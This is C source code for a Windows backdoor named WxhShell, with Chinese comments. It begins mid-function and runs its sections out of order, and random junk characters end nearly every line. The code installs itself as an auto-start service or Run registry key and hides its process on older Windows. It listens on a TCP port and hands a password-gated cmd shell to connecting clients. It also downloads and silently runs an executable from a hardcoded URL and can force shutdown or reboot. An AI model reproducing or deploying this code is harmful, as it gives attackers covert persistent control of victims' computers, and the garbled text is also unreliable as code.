  // 关机 POl-S<QV  
  case 'd': { '-f` 5X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (  -q0!]E  
    if(Boot(SHUTDOWN)) _-{=Z=?6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?6^j8i  
    else { z7?SuJ  
    closesocket(wsh); .%J<zqk-  
    ExitThread(0); lz>.mXdx  
    } wO!>kc<  
    break; +Q5'!@8  
    } p;, V  
  // 获取shell qh}+b^Wi  
  case 's': { (aJ$1bT=T  
    CmdShell(wsh); 8f~*T  
    closesocket(wsh); rVOF  
    ExitThread(0); 9_svtO]P  
    break; [-W~o.`  
  } B/Q>i'e  
  // 退出 'Q]Wk75  
  case 'x': { l(3PxbT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7,?ai6{  
    CloseIt(wsh); beYGP  
    break; Ssir?ZUm   
    } X}={:T+6s  
  // 离开 2XUIC^<@s  
  case 'q': { 4R01QSbd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9.~ _swkv  
    closesocket(wsh); ~k@{b&  
    WSACleanup(); GM^H )8U  
    exit(1); 7r(c@4yPI  
    break; rOUQg_y  
        } ^^uY)AL  
  } .}!.: |  
  } ?a, `{1m0\  
&jnBDr  
  // 提示信息 GX.a!XQ@!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n sN n>{  
} f@Ve,i  
  } D&N3LH  
;u';$0  
  return; 8ce'G" b  
} I&1.}{G>F  
Yu[MNX ;G  
// shell模块句柄 O#8lJ%?  
int CmdShell(SOCKET sock) 'wBOnGi6  
{ "Rf|o 6!d  
STARTUPINFO si; ^MhMYA  
ZeroMemory(&si,sizeof(si)); TEK#AR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >*l2]3' `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BT -Y9j  
PROCESS_INFORMATION ProcessInfo; &=Y%4 vq  
char cmdline[]="cmd"; :.-KM7tDI1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "x:-#2+h  
  return 0; WdJeh:h  
} ?^8.Sa{  
&MrG ,/  
// 自身启动模式 Ym-mfWo^#  
int StartFromService(void) S =sL:FC  
{ !D 'A  
typedef struct ']X0g{%  
{ NfCo)C-t  
  DWORD ExitStatus; 6UPGE",u  
  DWORD PebBaseAddress; jfa<32`0E  
  DWORD AffinityMask; ' #t1e]  
  DWORD BasePriority; uE#i3( J  
  ULONG UniqueProcessId; p5nrPL  
  ULONG InheritedFromUniqueProcessId; FT gt$I  
}   PROCESS_BASIC_INFORMATION; gi? wf  
aMgg[g9>t  
PROCNTQSIP NtQueryInformationProcess; *unJd"<*&@  
xaIe7.Z"xo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PB{5C*Y7^k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eTtiAF=bW  
. Eb=KG  
  HANDLE             hProcess; HN&]`cr;  
  PROCESS_BASIC_INFORMATION pbi; DK%@ [D  
*+ O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s*kSl:T @O  
  if(NULL == hInst ) return 0; V#DNcF~v]f  
yyjgPbLN=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $! UEpQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KZ/2W9r_,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6"bdbV=t  
s:sk`~2<gd  
  if (!NtQueryInformationProcess) return 0; c/G^}d%  
z-kB!~r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tlmfDQD  
  if(!hProcess) return 0; :\#/T,K"  
HD}3mP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N..@}}  
/gLi(Uw  
  CloseHandle(hProcess); 1,sD'iNb  
!ma'*X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @p7*JLO  
if(hProcess==NULL) return 0; |w`Q$ c  
`S/;S<';  
HMODULE hMod; t. kOR<  
char procName[255]; +q~dS.  
unsigned long cbNeeded; AkV8}>G?#A  
4p/d>DTiM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )u5+<OG}=  
)}R w@70L-  
  CloseHandle(hProcess); Yg3emn|a  
dmE.yVI"O  
if(strstr(procName,"services")) return 1; // 以服务启动 gA DF  
9GVv[/NAb  
  return 0; // 注册表启动 j}@n`[V1  
} Jg%jmI;Y  
+# tmsv]2  
// 主模块 NT [~AK9M  
int StartWxhshell(LPSTR lpCmdLine) =(>pv,  
{ By}>h6`[  
  SOCKET wsl; vBjrI*0  
BOOL val=TRUE; /%T d(  
  int port=0; 6J%yo[A(w  
  struct sockaddr_in door; +d,Z_ 6F  
JG!@(lr  
  if(wscfg.ws_autoins) Install(); *Nh[T-y(s  
la[>C:8IG  
port=atoi(lpCmdLine); L)j<;{J/Q0  
jr=erVHK  
if(port<=0) port=wscfg.ws_port; :Z5Twb3h  
H)O I&?  
  WSADATA data; YhNO{4D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O;?Nz:/q  
"AUHe6Yv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^5BQ=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  a EmLf  
  door.sin_family = AF_INET; j?y_ H[Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); El#"vIg(\  
  door.sin_port = htons(port); C;NG#4;'  
&F#K=R| .j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &)v}oHy,m  
closesocket(wsl); s+OXT4>+  
return 1; 2h5L#\H"  
} @Lf-=9  
V+&C_PyC  
  if(listen(wsl,2) == INVALID_SOCKET) { d/Y#oVI  
closesocket(wsl); L:E?tR}H  
return 1; QNe siV0MI  
} !omf>CW;ud  
  Wxhshell(wsl); 8Xjp5  
  WSACleanup(); M"Q{lR  
r>ca17  
return 0; o-_H+p6a  
8%Hc%T[RnT  
} !{%BfZX<&  
%{HeXe  
// 以NT服务方式启动 X/' t1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {f:%+h  
{ @pkQ2OM 2  
DWORD   status = 0; / U5!]7&gB  
  DWORD   specificError = 0xfffffff; N>Q~WXvV#  
|Pj]sh[^Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~duF2m 72  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FH7h?!|t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :ExCGS[  
  serviceStatus.dwWin32ExitCode     = 0; !}PZCbDhL  
  serviceStatus.dwServiceSpecificExitCode = 0; 9qvKg`YSh  
  serviceStatus.dwCheckPoint       = 0; ' >R?8Y  
  serviceStatus.dwWaitHint       = 0; ]CxD m  
>PmnR>x-rj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ) o`ep{<t  
  if (hServiceStatusHandle==0) return; 9mRP%c#(  
Ci(c`1av  
status = GetLastError(); #G!\MYfQt  
  if (status!=NO_ERROR) r@u8QhD  
{ Ym|%ka  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %i5tf;x6i  
    serviceStatus.dwCheckPoint       = 0; x@#aOf4<U  
    serviceStatus.dwWaitHint       = 0; _Nacqa  
    serviceStatus.dwWin32ExitCode     = status; A"i $.dR{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q4ZKgcC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i+ICgMcd  
    return; 2$TwD*[  
  } ,{2= nb[  
8/T[dn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |'qvq/#^  
  serviceStatus.dwCheckPoint       = 0; :Lu 9w0>f  
  serviceStatus.dwWaitHint       = 0; _lrvK99  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {H3B1*Dk  
} ^C'{# p"  
N"8'=wB  
// 处理NT服务事件,比如:启动、停止 T^Ol=QCu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %>- ?oor  
{ [\-)c[/  
switch(fdwControl) [JYy  
{ sA2esA@C<o  
case SERVICE_CONTROL_STOP: "7J38Ej\  
  serviceStatus.dwWin32ExitCode = 0; {Y|?~ha#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \+j:d9?  
  serviceStatus.dwCheckPoint   = 0; UM2yv6:/  
  serviceStatus.dwWaitHint     = 0; ]Z?jo#F  
  { hc*tQ2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pi5DDK  
  } 5,J.$Sax  
  return; CsEU:v  
case SERVICE_CONTROL_PAUSE: Rxlz`&   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W`uq,r0Xsy  
  break; o .( Gja4  
case SERVICE_CONTROL_CONTINUE: p z\8Bp}yo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4%#q.qI  
  break; %bS1$ v\n  
case SERVICE_CONTROL_INTERROGATE: XT?wCb41R  
  break; liMw(F2  
}; P9W?sPnC5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k}C4:?AT  
} Z7>Nd$E{  
m 48Ab`  
// 标准应用程序主函数 4~Y?*|G]m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \5}*;O@  
{ #v; :K8  
0?cJ>)N  
// 获取操作系统版本 wg<t*6&'x  
OsIsNt=GetOsVer(); i*r ag0Mw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yv.7-DHNl  
.03Rp5+v  
  // 从命令行安装 q4v:s   
  if(strpbrk(lpCmdLine,"iI")) Install(); D#A6s32a  
R90#T6^  
  // 下载执行文件 Xck`"RU<xA  
if(wscfg.ws_downexe) { eD8e0 D'S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v#EFklOP  
  WinExec(wscfg.ws_filenam,SW_HIDE); tSe[*V4{'  
} M:dH>  
%|j8#09  
if(!OsIsNt) { > `mV^QD  
// 如果时win9x,隐藏进程并且设置为注册表启动 b +Z/nfS  
HideProc(); &*74 5,e  
StartWxhshell(lpCmdLine); M2\c0^R  
} =K_&@|f+B  
else 4;Vi@(G)  
  if(StartFromService()) $f%om)  
  // 以服务方式启动 Z;,G:@,  
  StartServiceCtrlDispatcher(DispatchTable);  56MY@  
else r-*j"1 e  
  // 普通方式启动 !l]_c 5  
  StartWxhshell(lpCmdLine); CI-1>= "OE  
" %qr*|  
return 0; r Nurzag  
} PT }J.Dwx  
3 q J00A  
7&9w_iCkV  
m'N8[ o|h  
=========================================== *nc3A[B#C  
"vg.{  
!zvOCAb,  
tfu`_6  
y/:%S2za>  
{9X mFa  
" R7K`9 c1f6  
^d@2Y0hH  
#include <stdio.h> #oR`_Dm)P  
#include <string.h> KCAV  
#include <windows.h> H%etYpD  
#include <winsock2.h> {bR2S&=OmK  
#include <winsvc.h> KVr9kcs  
#include <urlmon.h> \yZVn6GVr  
>{9VXSc  
#pragma comment (lib, "Ws2_32.lib") {}rnn$HQe  
#pragma comment (lib, "urlmon.lib") \I-e{'h  
a+\<2NXYD  
#define MAX_USER   100 // 最大客户端连接数 R\XS5HOE(  
#define BUF_SOCK   200 // sock buffer NbTaI{r  
#define KEY_BUFF   255 // 输入 buffer /qMnIo  
<:NahxIlu  
#define REBOOT     0   // 重启 j*[P\Cm  
#define SHUTDOWN   1   // 关机 [ZC\8tP`V  
H(tC4'tA  
#define DEF_PORT   5000 // 监听端口 TET=>6  
.@%L8_sMR  
#define REG_LEN     16   // 注册表键长度 o ABrhK  
#define SVC_LEN     80   // NT服务名长度 SDV#p];u  
F_9 4k  
// 从dll定义API +RJKJ:W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?|/K(}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U\B9Ab  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I.G[|[. Do  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~]QQaP  
h#KSKKNW  
// wxhshell配置信息 -CuuO=h  
struct WSCFG { ~CbiKez  
  int ws_port;         // 监听端口 XzSl"UPYH  
  char ws_passstr[REG_LEN]; // 口令 U._fb=  
  int ws_autoins;       // 安装标记, 1=yes 0=no :r ~iFP*  
  char ws_regname[REG_LEN]; // 注册表键名 ZS wuEX  
  char ws_svcname[REG_LEN]; // 服务名 @TD=or .&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5>+@.hPX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y0krFhL'x0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RXg\A!5GV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yYYP;N?g4k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~tyqvHC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U~)5{  
VevG 64o  
}; ]Idwy|eG  
)B"{B1(  
// default Wxhshell configuration cu foP&  
struct WSCFG wscfg={DEF_PORT, LH)1IGAx2y  
    "xuhuanlingzhe", UPr& `kaJ  
    1, ,Yx<"2 W  
    "Wxhshell", 8s2y!pn7Q  
    "Wxhshell", EyVu-4L:#  
            "WxhShell Service", u"V,/1++\  
    "Wrsky Windows CmdShell Service", ^67}&O^1 ,  
    "Please Input Your Password: ", *#b e  
  1, _AX,}9  
  "http://www.wrsky.com/wxhshell.exe", Hzm_o>^KC  
  "Wxhshell.exe" p+|8(w9A${  
    }; `ovMfL.u  
~cSXBc,+  
// 消息定义模块 h)ZqZ'k$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MGMJeq vr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &'&)E((  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CEkUXsp  
char *msg_ws_ext="\n\rExit."; W)bSLD   
char *msg_ws_end="\n\rQuit."; }DM W,+3  
char *msg_ws_boot="\n\rReboot..."; U)Hc 7% e  
char *msg_ws_poff="\n\rShutdown..."; >AX_"Q~  
char *msg_ws_down="\n\rSave to "; hBnUpYec  
;YY<KuT  
char *msg_ws_err="\n\rErr!"; Q"~%T@e  
char *msg_ws_ok="\n\rOK!"; A :KZyd"Z  
>I5Wf /$  
char ExeFile[MAX_PATH]; qQ^CSn98J  
int nUser = 0; EK=0oy[  
HANDLE handles[MAX_USER]; Z;a)P.l.>  
int OsIsNt; ,LxZbo!  
dWkQ NFKF  
SERVICE_STATUS       serviceStatus; t?-a JU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [ !#Dba#  
Miw=2F  
// 函数声明  %V ]v,  
int Install(void); B-]bhA4|:  
int Uninstall(void); y7:f^4  
int DownloadFile(char *sURL, SOCKET wsh); ?2da6v,t  
int Boot(int flag); _[z)%`kay  
void HideProc(void); (0Br`%!F  
int GetOsVer(void); /iM1   
int Wxhshell(SOCKET wsl); |3E|VGm~  
void TalkWithClient(void *cs); ElpZzGj+  
int CmdShell(SOCKET sock); +`gU{e,p  
int StartFromService(void); ^`lrKk  
int StartWxhshell(LPSTR lpCmdLine); ?+7~ E8  
H $Az,-P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cq/u$G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WgR%mm^  
K JOb1MM  
// 数据结构和表定义 )8g& lyT  
SERVICE_TABLE_ENTRY DispatchTable[] = !y~nsy:&7x  
{ (nmsw6 X  
{wscfg.ws_svcname, NTServiceMain}, 5EQ)pH+  
{NULL, NULL} dl8f]y#Q  
}; $mKExW  
H/M]YUs/3  
// 自我安装 -QJ8\/1>  
int Install(void) ]U'zy+  
{ iR9duP+  
  char svExeFile[MAX_PATH]; 3GKKC9C6  
  HKEY key; \F`>zY2$%  
  strcpy(svExeFile,ExeFile); cSB_b.@"1  
. G25D  
// 如果是win9x系统,修改注册表设为自启动 ZG1TR F "  
if(!OsIsNt) { (?'vT %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Azj Y8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x?B`p"ifS  
  RegCloseKey(key); ~a2|W|?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wAW{{ p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k)D5>T  
  RegCloseKey(key); > O?<?  
  return 0; p|nPu*R-\  
    } vv2[t  
  } 4@\$k+v  
} PE6,9i0ee  
else { XY6Sm{  
PB"=\>]`N  
// 如果是NT以上系统,安装为系统服务 /mp!%j~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -wx~*  
if (schSCManager!=0) Q6URaw#Yt`  
{ A7#nBHwxZ  
  SC_HANDLE schService = CreateService K/Y"oQ2  
  ( iuXXFuh  
  schSCManager, -&1P2m/46  
  wscfg.ws_svcname, /CyFe<t  
  wscfg.ws_svcdisp, p`\>GWuT!  
  SERVICE_ALL_ACCESS, 8EJP~bt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HbPn<x^7  
  SERVICE_AUTO_START, ]G8"\J4 &  
  SERVICE_ERROR_NORMAL, )f^^hEIS  
  svExeFile, B>cT <B  
  NULL,  `5(F'o  
  NULL, %ueD3;V  
  NULL, 0Ba]Zo Z  
  NULL, BUsxgs"),  
  NULL ;K>'Gl  
  ); G `3{Q7k  
  if (schService!=0) c V MRSp  
  { UEx<;P8rP  
  CloseServiceHandle(schService); B:UM2Jl   
  CloseServiceHandle(schSCManager); p{ZyC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _4nm h0q4  
  strcat(svExeFile,wscfg.ws_svcname); ='+I dn#5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KTot40osj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b+arnKo1fk  
  RegCloseKey(key); %;u"2L0@  
  return 0; L[nDjQn"  
    } CSW+UaE  
  } 0,@^<G8?  
  CloseServiceHandle(schSCManager); ?>V>6cDQ  
} nnT#S  
} @'M"c q  
R)SY#*Y  
return 1; 2cIbX  
} [iO8R-N8d  
dcq18~  
// 自我卸载 `s UY$Q  
int Uninstall(void) [ "3s  
{ Z.Dg=>G]  
  HKEY key; 0m> 8  
:Ru8Nm  
if(!OsIsNt) { s>\^dtG7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3< 6h~ek )  
  RegDeleteValue(key,wscfg.ws_regname); KDP47A  
  RegCloseKey(key); (=c,b9cb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /hVwrt(  
  RegDeleteValue(key,wscfg.ws_regname); 1(>2tEjYT  
  RegCloseKey(key); GRofOJ  
  return 0; f.aa@>  
  } o37oRv]  
}  |xg#Q`O  
} 4<E <sD  
else { B B69U  
BgdUG:;&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); } d8\ Jg  
if (schSCManager!=0) &?1^/]'"r  
{ _Ds,91<muQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0} &/n>F  
  if (schService!=0) QT%vrXzz  
  { puWMgvv  
  if(DeleteService(schService)!=0) { lP]Y^Gz  
  CloseServiceHandle(schService); OQ wO7Z  
  CloseServiceHandle(schSCManager); z9OpxW@Ou  
  return 0; ,tyPZR_  
  } j} ^3v #  
  CloseServiceHandle(schService); 5}]+|d;  
  } $Q'z9ghEg  
  CloseServiceHandle(schSCManager); X9FO"(J  
} 4L{]!dox  
} kMnG1K  
^_P?EJ,)`  
return 1; cRbA+0m>  
} N#e9w3Rli  
h:?qd  
// 从指定url下载文件 aD'Ax\-  
int DownloadFile(char *sURL, SOCKET wsh) 2?Jw0Wq5D  
{ H6j t[  
  HRESULT hr; ##xvuLy-6  
char seps[]= "/"; Ng W"wh  
char *token; ?{`7W>G  
char *file; vF'>?O?  
char myURL[MAX_PATH]; #\D 74$D  
char myFILE[MAX_PATH]; C|3Xz[k{  
`#`jU"T|  
strcpy(myURL,sURL); Y&Fg2_\">  
  token=strtok(myURL,seps); {!qnHv\S  
  while(token!=NULL) 7t<MHdw  
  { S1y6G/e9  
    file=token; \ ya@9OA  
  token=strtok(NULL,seps); 2YW;=n  
  } g9VY{[ V  
=G^'wwpv(  
GetCurrentDirectory(MAX_PATH,myFILE); $*%,  
strcat(myFILE, "\\"); #(Gz?kGAH`  
strcat(myFILE, file); 2Zuo).2a.  
  send(wsh,myFILE,strlen(myFILE),0); L2EQ 9i'[  
send(wsh,"...",3,0); +>!nqp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z/?{{}H+  
  if(hr==S_OK) *kqC^2t  
return 0; (y.N-I,  
else L{8_6s(:  
return 1; jTt9;?)  
d *gv.mE  
} vFntzN>#  
C&vi7Yx  
// 系统电源模块 =|IlORf<  
int Boot(int flag) I%a-5f$0  
{ {b4`\ I@<  
  HANDLE hToken; #*_!Xc9f  
  TOKEN_PRIVILEGES tkp; -q{N1? tcy  
6V JudNA  
  if(OsIsNt) { SKnYeT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); breF,d$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H2Wlgt  
    tkp.PrivilegeCount = 1; &U|c=$!\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9+N%Io?!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C,l,fT  
if(flag==REBOOT) { _Wg}#r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FV "pJ  
  return 0; lm;hW&O9  
} R`a~8QVh&5  
else { V27RK-.N!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ta?}n^V?;  
  return 0; r\ft{Z<P  
} *qO) MpG{  
  } TMPk)N1Ka  
  else { Yr-SlO>  
if(flag==REBOOT) { pl&nr7\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4{zy)GE|W  
  return 0; H@xS<=:lM  
} jj]\]6@+P  
else { uWdF7|PN7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8ex;g^e  
  return 0; /CsP@f_Gw  
} oxc;DfJ_  
} 3jxC}xz)  
0!dNW,NfJ  
return 1; #'s$6gT=  
} ZJBb% d1;  
fIQ, }>  
// win9x进程隐藏模块 Io3-\Ff  
void HideProc(void) r]p3DQ  
{ a#r{FoU{M8  
]}rNxT4<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G'/G DN^j  
  if ( hKernel != NULL ) @s-P!uCaT  
  { _< .VP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mk1R~4v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d0I s|Gs  
    FreeLibrary(hKernel); o( zez  
  } 15j5F5P   
jerU[3  
return; T/P\j0hR  
} )Ac,F6w  
-@w,tbc$  
// 获取操作系统版本 tz;o6,eb  
int GetOsVer(void) 9t\14tVwx  
{ ,ZJ}X 9$<  
  OSVERSIONINFO winfo; m6e(Xk,)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xQvI$vP  
  GetVersionEx(&winfo); }=bzUA`C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9/0H,qZc  
  return 1; 'W_NRt:  
  else 4%r?(C0x  
  return 0; VX.LL 5  
} tB>!1}v  
+-'F]?DN'  
// 客户端句柄模块 ^aAs=KditO  
int Wxhshell(SOCKET wsl) $EFS_*<X  
{ j.Uy>ol  
  SOCKET wsh; Q"FN"uQ}x  
  struct sockaddr_in client; Lbz/M _G  
  DWORD myID; #VX]trh,  
SnFyK5  
  while(nUser<MAX_USER) [IOI&`?D  
{ cOP'ql{"  
  int nSize=sizeof(client);  <Y"RsW9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O oA!N-Q  
  if(wsh==INVALID_SOCKET) return 1; yP$esDP  
*$0*5d7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3:jxr  
if(handles[nUser]==0) zS;ruK%2  
  closesocket(wsh); $||WI}k3V  
else *]yrN`  
  nUser++; Xf&YcHo  
  } Z]b;%:>=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [x{$f7CEh  
/a32QuS  
  return 0; u|IS7>Sm  
} Gf.ywqE$Y$  
K]$PRg1| 3  
// 关闭 socket }TMO>eB'  
void CloseIt(SOCKET wsh) dnD@BQ  
{ ZJs~,Q  
closesocket(wsh); *RS/`a;,  
nUser--; [G8EX3  
ExitThread(0); A-4;$ QSm  
} -b!Z(}JK  
>C_G~R  
// 客户端请求句柄 Ich^*z(F$  
void TalkWithClient(void *cs) 7 w,D2T  
{ hA 5p'a+K  
++b[>};  
  SOCKET wsh=(SOCKET)cs; ] hK}ASC  
  char pwd[SVC_LEN]; 5;KJ0N*-  
  char cmd[KEY_BUFF]; _s@PL59,  
char chr[1]; $#f_p-N  
int i,j; P0>2}/;o  
w3q'n%  
  while (nUser < MAX_USER) { tm5{h{AM  
$`GlXiV  
if(wscfg.ws_passstr) { !a UYidd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0#TL$?=|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2R,} j@  
  //ZeroMemory(pwd,KEY_BUFF); =_BHpgL  
      i=0; l9uocP:D  
  while(i<SVC_LEN) { B0|W  
w.58=Pr  
  // 设置超时  b}NNkM  
  fd_set FdRead; 4r4 #u'Om  
  struct timeval TimeOut;  mhrF9&s  
  FD_ZERO(&FdRead); >z%YKdq  
  FD_SET(wsh,&FdRead); N,lr~ 6)  
  TimeOut.tv_sec=8; LQk^l`  
  TimeOut.tv_usec=0; .g}N@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :qxWANUa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h=`$ec  
M rgj*|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C~4SPCU  
  pwd=chr[0]; XgX~K:<jt  
  if(chr[0]==0xd || chr[0]==0xa) { v|~=rvXFC  
  pwd=0; EGgw#JAi#t  
  break; <vWP_yy  
  } TO89;O  
  i++; BA1H)%  
    } eb`3'&zV&)  
VK*_p EV,}  
  // 如果是非法用户,关闭 socket P\K#q%8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pa0W|q#?X  
} d6*84'|!  
}=v4(M`%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]@Y!,bw&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Htr]_<@  
eY#^vB  
while(1) { ZqrS]i@$  
6bUP]^d  
  ZeroMemory(cmd,KEY_BUFF); \5&Mg81  
?XdvZf $  
      // 自动支持客户端 telnet标准   Nb:j]U  
  j=0; ds+K7B$  
  while(j<KEY_BUFF) { _!zc <&~I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q e+;BE-H  
  cmd[j]=chr[0]; jj2=|)w$3  
  if(chr[0]==0xa || chr[0]==0xd) { +o4o!;E)  
  cmd[j]=0; ,nL~?h-Zh  
  break; C zw]5  
  } .S|T{DMQ[  
  j++; lHM} E$5  
    } p@~Y[a =  
 kSEA  
  // 下载文件 %t,42jQ9  
  if(strstr(cmd,"http://")) { Tv7W)?3h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sx azl]  
  if(DownloadFile(cmd,wsh)) MOB4t|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CC!`fX6z>h  
  else } 'xGip@W  
